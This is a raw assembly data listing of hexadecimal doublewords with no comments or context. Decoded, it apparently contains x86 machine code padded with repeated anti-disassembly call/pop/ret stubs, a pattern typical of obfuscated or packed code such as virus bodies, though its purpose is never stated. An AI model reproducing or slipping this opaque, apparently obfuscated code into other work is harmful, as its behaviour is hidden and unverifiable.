		dd 0C3504000h, 0F0854D4Fh, 0B9C752BCh, 5599529h, 0BF0F06A9h
		dd 0FE9FEh, 5DA90000h, 83995E55h, 0D275D543h, 0DEBA0C54h
		dd 6A006A66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 2B46C353h, 0E90C45A0h,	5, 67039C63h
		dd 0C8B0FA7h, 0F000000h, 68Ch, 55850100h, 0FF06A92Dh, 0ACADF2B5h
		dd 6830F06h, 29000000h,	0A9007995h, 6995FF06h
		dd 0BB06A906h, 5E54F408h, 48A0F50h, 50000000h, 895FFE8Ah
		dd 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0AF79EEC3h, 0B9301B00h, 8B8F58E1h, 6840FD9h
		dd 89000000h, 0A929A9B5h, 0F2B5FF06h, 6A06ACADh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BDEAC350h, 82D4E6BDh, 0C8995FFh, 958906A9h,	6A916C1h
		dd 0BF0FF960h, 0BD8361D7h, 6A93319h, 6D840F00h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 561AC353h, 0F9B70F63h, 6E96096h, 8F000000h
		dd 4047D164h, 61D18A2Bh, 0E9525050h, 7,	32F3066Dh, 0FA1C3F0h
		dd 2860F31h, 60000000h,	96585A61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 34C35040h, 0C05C0BAEh, 0ADF2B5FFh
		dd 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 793A17C3h, 0C5858913h, 0FF06A917h, 0A9178595h
		dd 0BE806h, 2D840000h, 8AF9A08Fh, 0E0AEBB4Ch, 35D1BFD6h
		dd 8B5B7812h, 0A905D19Dh, 0F2B5FF06h, 0FF06ACADh, 0A92A6195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0D53FC185h, 0DE9C9h, 78250000h, 4B041E1Fh
		dd 83D0372Bh, 83B31768h, 0A91E31BDh, 840F0206h,	54h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 82C35242h, 8B663F04h
		dd 84BF66DAh, 8BD98A9Ch, 0A9111185h, 0C606h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 26C35545h, 2FCC9421h
		dd 46CF808Ch, 2F185C7h,	6A9h, 0F5BF0000h, 0E940BFEFh, 0FFFFF22Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 86C35343h
		dd 9DBD89B1h, 8B06A91Dh, 0BE9C1h, 83E80000h, 6B18FE80h
		dd 6020C2EBh, 35858DB9h, 6A06A905h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 5746C353h
		dd 6117D679h, 50972DBCh, 489D88Bh, 0DDB58924h, 6A06A902h
		dd 6A006A00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 44C6C352h, 6426C0CAh, 8BD114FEh
		dd 0AF858DFEh, 6A06AD82h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 6453C352h, 834D5F55h
		dd 8B6605C0h, 605090DAh, 0DE8h,	0F7CD7600h, 911ABB68h
		dd 48B0A214h, 605E0B8Eh, 310F5250h, 6161585Ah, 0A19D8B90h
		dd 6A06A935h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 8C62F0ABh, 11E9BAh, 39850000h, 47026FF3h
		dd 8C2D1BBBh, 0C960904Fh, 0F18F69Fh, 68Bh, 0B1F78100h
		dd 6A6796EFh, 4DBD8900h, 0FF06A90Dh, 0A92EA995h, 399D8B06h
		dd 8B06A911h, 0A92259BDh, 0DE8D8D06h, 6A06AC98h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 7A9FC357h, 3B24C108h, 0F857ECD1h, 0BDBD895Fh, 0FF06A922h
		dd 55006AD1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0ADBD83CEh, 106A912h, 0BE850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 902B56C3h, 26ADD8Ah,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0BFC35141h, 8951F090h, 0B70F2326h, 48950DFh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 870FBF0Ch, 8, 99BD8B52h,	5F06A90Fh, 8BE9C380h
		dd 6995FFDAh, 6A06A906h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0ADB8C355h,	0AEA15E2Dh
		dd 10E82Eh, 0C35F0000h,	0EED2B7C6h, 0D48C44B0h,	6A108220h
		dd 81669CF9h, 5FF1E0E7h, 0E4BE9h, 0E800h, 815D0000h, 0AD82B9EDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 895A5751h, 0A932898Dh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 58F1A3ACh, 737E5B7Fh, 6810Fh, 0B5890000h, 6A91CB9h
		dd 8A5B858Dh, 0CB8106ACh, 80017FFh, 508CB390h, 8990FA8Bh
		dd 0A901859Dh, 35FF6406h, 0
		dd 0F5BD8BF9h, 6406A933h, 2589h, 9D890000h, 6A93389h, 2DDB589h
		dd 85FF06A9h, 6A9170Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 72C35646h, 0B7B6EDFBh, 0D1F2F4C2h, 0C880FC5h
		dd 0F000000h, 685h, 5D858900h, 6A06A90Bh, 0BD9589FFh, 0FF06A90Eh
		dd 0A9267DB5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 81EE2F9Eh, 4A2971CBh
		dd 0DD95FF2Bh, 0E906A934h, 113h, 0B0FE8Bh, 10258D89h, 70E606A9h
		dd 19FDBD89h, 9D8B06A9h, 6A90D0Dh, 810F71E4h, 6, 1F359D8Bh
		dd 613C06A9h, 0E5830Fh,	9D2B0000h, 6A9331Dh, 0BFC8B60Fh
		dd 1F5360A8h, 12E9h, 639CC300h,	3D3B5008h, 0C202A0F2h
		dd 17B2E211h, 0BAFF1B9Dh, 6, 8E8h, 66DDE900h, 38B9486h
		dd 5BFC8A04h, 8D89C18Bh, 6A92C19h, 0E904E8C1h, 0Bh, 4C5968A5h
		dd 0B99F32B0h, 6690BA66h, 0E1B3E2F7h, 0CB816656h, 2B5F111Ah
		dd 0FEF781C8h, 8B6C1943h, 6E9D1h, 0B5310000h, 6A90825h
		dd 34FD858Bh, 8F0F06A9h, 4, 5FF88B53h, 0F07C083h, 685h
		dd 79B58900h, 8306A928h, 0BF6600C0h, 0D03BADC7h, 0B830Fh
		dd 0BD030000h, 6A90DEDh, 36E9h,	798D8B00h, 8906A913h, 0A91271B5h
		dd 1E18306h, 21840Fh, 850F0000h, 5, 35CB8166h, 79A58340h
		dd 0FE06A913h, 34FD9589h, 66F806A9h, 0E9F98Bh, 8D000000h
		dd 0ACEF31B5h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0AE831CAh, 31000000h
		dd 319673E0h, 7B367623h, 820F6033h, 0
		dd 284D858Bh, 5B6106A9h, 6ADE8Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0B6C35545h,	4181C7AAh, 8BB95A52h
		dd 0FFFAB70Fh, 0A92D9595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 2E1B6608h
		dd 0F88B3F51h, 0CE9h, 0A9286600h, 24101CA3h, 8279EBD8h
		dd 5B529AFh, 0B906A900h, 7B6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 38C35545h, 0A91EAAA7h, 976F6E89h
		dd 668BF380h, 11F6E381h, 12098D89h, 0E18306A9h,	56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0E0598472h, 29BF66CBh, 599D8BF1h, 0FC06A914h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0C1C35545h, 76D10567h
		dd 31C02BA4h, 0A9295D8Dh, 0BA06h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D4532AC3h
		dd 0BE9D9h, 0E2B70000h,	0E0A9D7A8h, 2781B57Bh, 0C233ADBCh
		dd 0D003E8D1h, 7504E983h, 0CE8060F4h, 9D8B616Fh, 6A907D5h
		dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0DB81E1E0h, 0D0127FD9h, 958B44D4h
		dd 6A916CDh, 10860Fh, 0BE90000h, 39000000h, 32CB76AEh
		dd 920A198h, 8D8BB915h,	6A90CE5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0C1C35747h,	241CB7C0h, 9919D8Bh
		dd 8B5006A9h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0D39BD8Bh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 153B8C3h, 0A90BFDB5h, 0BD8B5B06h
		dd 6A93561h, 33C9BD83h,	0F0006A9h, 0E684h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 7D0D4666h, 56D9D8Bh,	13E806A9h, 0D7000000h, 0B343212Fh
		dd 7B51D260h, 5EABAE94h, 0FA415917h, 0EE84F09h,	6C000000h
		dd 0D8E90424h, 533774B6h, 0B87AAF53h, 10E9A5h, 0CFEE0000h
		dd 0FA5806F0h, 0F42B6AEAh, 29F21C25h, 5F5BD2A4h, 0B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8D8DF6F7h, 6A94DC0h, 13E9h, 74C66E00h, 67F79287h
		dd 883301ABh, 8BE543D3h, 0DE7EAC52h, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0BBF3C5C3h
		dd 29679CE7h, 0A9332585h, 94BB6606h, 6E86Ah, 57B70000h
		dd 0A3A7EF0h, 34A99531h, 835F06A9h, 0A911CDBDh,	840F0006h
		dd 43Ch, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	5BC35747h, 0DAEDEF2h, 0FD374E55h, 39BD8B41h, 8306A92Ah
		dd 0A911CDBDh, 840F0106h, 41Fh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 93C35747h, 0B70F9177h, 3A294055h
		dd 3319D8Bh, 0BD8306A9h, 6A911CDh, 0B2860F03h, 8B000003h
		dd 0A90D319Dh, 6A6006h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 2B4F4DC3h, 1504BDBh, 0A90D0D8Dh
		dd 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	12C35040h, 3044D4D0h, 2559C328h, 0F1B589EFh, 8006A90Eh
		dd 0BE804E1h, 68000000h, 3B8BCC30h, 15117FEEh, 958926D1h
		dd 6A91749h, 0FC90A5Fh,	15E84h,	0AE900h, 59670000h, 0BE7A2DB1h
		dd 0EC2CA9FBh, 619858Bh, 0BF0F06A9h, 0F98533DAh, 6A06A931h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 31FFC351h, 0E850F8AAh, 0Ch, 8DEAEF34h, 9A90490Ah
		dd 0A885B517h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 2AC35646h, 0F18D2909h, 6A06A900h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 830FEAFCh, 6, 659589h, 4E806A9h, 0FF000000h,	51001F03h
		dd 8E0F5250h, 0
		dd 16BF310Fh, 5A59C4D6h, 66505F58h, 448BD88Bh, 0BB660424h
		dd 8B9828h, 0F525060h, 81h, 0F310F00h, 89h, 50585A00h
		dd 0DA8B6652h, 5956310Fh, 8961585Ah, 0F042444h,	85h, 21BF5800h
		dd 0FF06F5BBh, 0A9357995h, 6DBD8B06h, 8906A904h, 0ACADF285h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0C09650EDh, 65EC1672h, 9D09A62Dh, 6A90839h
		dd 1C2E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0DB589BEh, 8B06A923h, 0ACADEA85h
		dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 180CC356h, 19BD8939h
		dd 8B06A917h, 0ACADEEB5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0F12DFE8Fh
		dd 7ED09C22h, 89F88B66h, 0A90A459Dh, 0BD858B06h, 5206A932h
		dd 6895FF8h, 949BD03h, 858B06A9h, 6A90619h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 2CC35040h, 0E98F23D8h
		dd 5, 1C0242BBh, 4468981h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0F7C35343h, 0E4FEB4h,	0E973E806h, 5
		dd 12CDF357h, 8E95006h,	6F000000h, 0FD216162h, 899B1F1Bh
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 7BF266C3h, 6099FDBFh, 6E978h, 34310000h
		dd 0A61EF131h, 0ADEAB5FFh, 6A06ACh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 53849CC3h
		dd 0A573854Eh, 8D893693h, 6A924EDh, 8CD9AE68h, 0BE815h
		dd 57330000h, 1F5EE37Ch, 392E53E4h, 0C226BF56h,	815F2558h
		dd 0DA512434h, 0BD291593h, 6A932EDh, 0ADF2858Dh, 6A06ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B7341FC3h, 8950F660h, 0BF662404h, 95FF8456h, 6A93579h
		dd 61DF8B66h, 8C38166h,	0EF81667Eh, 85C710A7h, 6A911CDh
		dd 3, 8302D780h, 0ACADF2BDh, 840F0006h,	11h, 0F29BD8Bh
		dd 21E906A9h, 0F000000h, 8B66DAB7h, 0C3050DEh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 3BB6650h,	8B665F09h
		dd 0BD83FCDEh, 6A911CDh, 0A850F03h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0C26DC355h, 0E2B09C02h, 83DA8B1Bh, 0ACADF2BDh, 840F0006h
		dd 3D9h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	0E1C35040h, 0B5723902h,	0DD9D8972h, 0FF06A90Ch
		dd 0ACADF2B5h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 4ED25719h, 8BD7D2B6h
		dd 0A91489BDh, 5195FF06h, 8106A90Bh, 33B769CFh,	0E6B58B6Dh
		dd 6A06ACADh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 17EFC355h, 6C717B0h, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E6C35040h, 80124FBEh
		dd 0A58529B7h, 5006A921h, 850F5257h, 0
		dd 34895F5Fh, 18D8924h,	6606A902h, 0B5FFDF8Bh, 6ACADF2h
		dd 0AE8h, 45531100h, 0FF13EADDh, 80D520BDh, 575BC2DBh
		dd 15DB509h, 0FF5F06A9h, 0A90EC595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0FA57718Ah
		dd 0DBBF0F4Fh, 0DE9h, 0CE50B500h, 1AC6B7Bh, 0FA3A4EAEh
		dd 0B58B9454h, 6ACADE6h, 0CFB70F60h, 1601858Bh,	8B6106A9h
		dd 0A913BD85h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 88BE09ABh, 29FD9589h
		dd 868906A9h, 0C4h, 958BF88Ah, 6A916CDh, 1E01BD89h, 0C28306A9h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 205089B4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 4FC35242h, 0F14443E4h, 3179BD8Bh, 9D8B06A9h
		dd 6A90BFDh, 0C1C3858Dh, 6A06ACh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 616122C3h, 461B589h
		dd 868906A9h, 0B8h, 8D29006Ah, 6A90ED5h, 0ADF2B5FFh, 6A06ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 8277EEC3h, 0F5924BCDh, 66995FFh, 6A06A9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 8EB447C3h
		dd 50908EFFh, 4E35B860h, 89615AB9h, 0FFF92434h,	0ACADF2B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 922452D3h, 0BD8BEA06h, 6A90B69h,	0C8995FFh
		dd 6A06A9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 49077FC3h, 14B76A6Bh, 3319BD83h, 0F0006A9h
		dd 1784h, 507EB300h, 0F88B5250h, 8B66310Fh, 89585AFEh
		dd 85892434h, 6A91251h,	0ADF2B5FFh, 6A06ACh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 645125C3h
		dd 0E83FD063h, 12h, 4F974D01h, 0B01D15F5h, 313FFD1Dh, 2BC6DFEAh
		dd 8C0F3320h, 0Ah, 5E9h, 0BBD40500h, 0FF5BB1D6h, 0A9178595h
		dd 0F2B5FF06h, 0F06ACADh, 181h,	95FFF500h, 6A92A61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0AEC35646h, 0CE15AC5Fh
		dd 0FD8AD8A6h, 1E31BD83h, 0F0206A9h, 5884h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0C06716CFh, 13F8F7DDh, 11858BC5h, 6A06A911h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 535BC351h, 0ADEC1EF7h, 70EF80B9h, 890000C6h,	0A904B595h
		dd 0F185C706h, 6A902h, 60000000h, 5C5BD89h, 8D2306A9h
		dd 6A922E1h, 0F2DDE961h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 9E3AAAC3h, 4039A0CFh
		dd 91085ADh, 0A90B719Dh, 60C18B06h, 0DE8h, 0D8B71C00h
		dd 0CB026C4h, 713F3D56h, 9D892CF2h, 6A911C9h, 5E95Eh, 0EBCC0000h
		dd 61F72F5Dh, 535858Dh,	11E906A9h, 41000000h, 0A14C98D7h
		dd 2F5AACCh, 0F787BF85h, 0FAFD6642h, 4D0DBF90h,	665048C9h
		dd 9040B0BBh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0DDC35343h, 0EE9006Ah, 77000000h, 67AF1647h, 0D0BFF893h
		dd 0A76ABEDBh, 0E8006ACCh, 0Eh,	0BEEC01FAh, 3880ED75h
		dd 0B6BF6ED9h, 9D8B9751h, 6A91A75h, 0E0858D5Bh,	6A06AD92h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0FD95C355h, 31BD09E7h, 8306A900h,	953105C0h
		dd 6A92D61h, 0EDBF6650h, 240489D9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 49C35747h, 891186DDh, 0A91F1D85h
		dd 0E9006A06h, 5, 0B9AA088Dh, 8B006A3Bh, 0A995FFF9h, 6A06A92Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 2842C357h, 0B245165h, 0F60FE22h, 8D61F8BFh
		dd 0AC98DE8Dh, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 148C0459h, 8166607Fh
		dd 0FC05CFCFh, 12E961h,	27FF0000h, 863CE51Ah, 5DCF7112h
		dd 5929112Bh, 5E3A6A93h, 9D8BD1FFh, 6A932ADh, 12ADBD83h
		dd 0F0106A9h, 7485h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D43DBD6Ah, 0F917793h
		dd 8B026AB7h, 0BE850FAh, 0DA000000h, 0BD32EE44h, 0ADCFC135h
		dd 99B79D2Ah, 2404895Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 67C35545h, 90805577h,	8BEBC4CBh, 0A935DDBDh
		dd 0FD85BB06h, 95FF2DEEh, 6A90669h, 0DDEE9F8h, 0E80000h
		dd 5D000000h, 92EAED81h, 0D78006ADh, 55006A01h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0CC52EB1Bh
		dd 0B60D5B3h, 0A908118Dh, 0F19D0306h, 6106A908h, 8A5B858Dh
		dd 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 50AA59C3h, 0AADB8153h, 5F00B435h,	5E890h
		dd 0E1E60000h, 5B07870Fh, 0D98B6650h, 50006A90h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0E5973316h, 26786617h, 830F55ECh, 11h, 0CE9h, 84922200h
		dd 46CE7579h, 1A98625h,	35FF6481h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9EC35646h
		dd 0D9FD7FAAh, 0E9373079h, 0Fh,	79D9FD7Fh, 0B3F3730h, 8791BF3Fh
		dd 64CFDF69h, 2589h, 9D8B0000h,	6A91681h, 170D85FFh, 6A06A9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0BBECDDC3h, 0D2E7367h, 4CE78166h, 8BFF6AB6h,	0A92D159Dh
		dd 65B5FF06h, 6A06A933h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8AF0C353h, 8BF5AA8Dh
		dd 0A9008DBDh, 0DD95FF06h, 0E906A934h, 145h, 12E9h, 3263FE00h
		dd 0B5DC4400h, 28D221BCh, 0AEE87B55h, 0B04EAAB7h, 12E900h
		dd 0B3EA0000h, 3FE3ABF9h, 7C757787h, 87CBC199h,	582D2F73h
		dd 0C78070E6h, 158D899Bh, 0E406A910h, 11852971h, 3C06A920h
		dd 0FA830F61h, 89000000h, 0A91275BDh, 0C8B60F06h, 34118D89h
		dd 6BA06A9h, 0F000000h,	68Fh, 6D858900h, 8B06A931h, 0ED9D31C1h
		dd 0C106A900h, 0F76604E8h, 63D381E2h, 2B3F401Ch, 0D18BF9C8h
		dd 26659D29h, 6E906A9h,	81000000h, 255321D3h, 0F9858B4Eh
		dd 6606A90Eh, 0B0E5C781h, 2CED9D8Bh, 0C08306A9h, 7BF6607h
		dd 0C083D1h, 0D03BD98Bh, 13830Fh, 0BF0F0000h, 83E9F8h
		dd 6E90000h, 0DD000000h, 9F20A7DEh, 58D8B87h, 0E906A926h
		dd 0Eh,	2BAE847h, 29F714E4h, 6E83EE37h,	0E183D2C1h, 56840F01h
		dd 0E8000000h, 12h, 0EE8D8641h,	0CE803399h, 0B7EB3EABh
		dd 383F2EE1h, 0B860B27Eh, 449748E3h, 8DE78166h,	0F5F61E9h
		dd 0D82h, 8E900h, 0C9DF0000h, 0FCF4F46Ch, 0A5836859h, 6A92605h
		dd 853156FEh, 6A9114Dh,	0F995895Fh, 0BF06A90Eh,	68D035BBh
		dd 0E9h, 0BAB58D00h, 0E906ACF8h, 0Dh, 0CD644B7Fh, 660A08EDh
		dd 70F80EB5h, 81006A47h, 37A60F7h, 9595FF26h, 6A06A92Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0F941C357h, 889B9B9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 7AE739C3h
		dd 662C0F80h, 83FACEBBh, 5057FCE1h, 5F5F5F51h, 51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 891BAEC4h, 0A90A2595h, 0DF8B6606h, 0B8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C4D450BBh, 0BA62h, 0C3800000h, 0C233AD04h, 0D003E8D1h
		dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0E145DFBFh, 291B37ACh, 0B5898973h
		dd 6A91465h, 79BFFE8Bh,	0D165883h, 88h,	24118D09h, 958B06A9h
		dd 6A916CDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	31C35545h, 0F2923833h, 30933F8Fh, 60DA8B66h, 565BD8Bh
		dd 953306A9h, 6A931EDh,	0E58D8B61h, 6A06A90Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0DAE2C357h, 9D898718h, 6A92679h, 68E0Fh, 8D890000h
		dd 6A90391h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 624E46C3h, 50D8878Ah, 2CE99D8Bh, 8B5B06A9h
		dd 0C9BD83FAh, 6A933h, 5A840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B8D6C3h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 60A6C353h, 60D9B70Fh, 9D8982B1h
		dd 6A90F6Dh, 8D8D6161h,	6A94DC0h, 0BD8BE1FFh, 6A92CD5h
		dd 11CDBD83h, 0F0006A9h, 44084h, 0E9BB6600h, 0C7816617h
		dd 0BD83B3B8h, 6A911CDh, 45840F01h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0C7B8C351h, 4E9D307Fh, 335924EFh, 0A904EDBDh, 0CDBD8306h
		dd 306A911h, 3D8860Fh, 42B70000h, 8C66F860h, 148C0FD9h
		dd 0E9000000h, 0Fh, 0BDB7E72Ch,	0FAE3B8A8h, 1DD30243h
		dd 8050BB6Eh, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 8A800FC3h, 18A81DBDh, 14E9h, 0E16AA800h
		dd 706450EBh, 0D3EF5393h, 5BA9F0D8h, 7B120070h,	0FC90A9Fh
		dd 13E84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 83FCB650h, 858BFDF4h, 6A90619h, 1EF8166h
		dd 45C5BFACh, 853362F1h, 6A931F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 2DC35040h, 0A943F7DEh, 798D8924h
		dd 2906A910h, 0A934A995h, 0CEBF9006h, 5016B47Ah, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 3F4A8BFDh, 0D62118A4h, 8589220Fh, 6A90A55h, 9D8B006Ah
		dd 6A90F99h, 2CA4BF66h,	0E8EA6A68h, 2434810Fh, 0FF7E995h
		dd 99A800BFh, 7995FF67h, 6A06A935h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 897BC357h
		dd 2B551838h, 0B19D89C9h, 8906A920h, 0ACADF285h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 68B0FAAh, 31000000h,	0A90651BDh, 200E906h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FE588C3h, 680h, 7D9D3300h, 8B06A90Fh, 0ACADEA85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
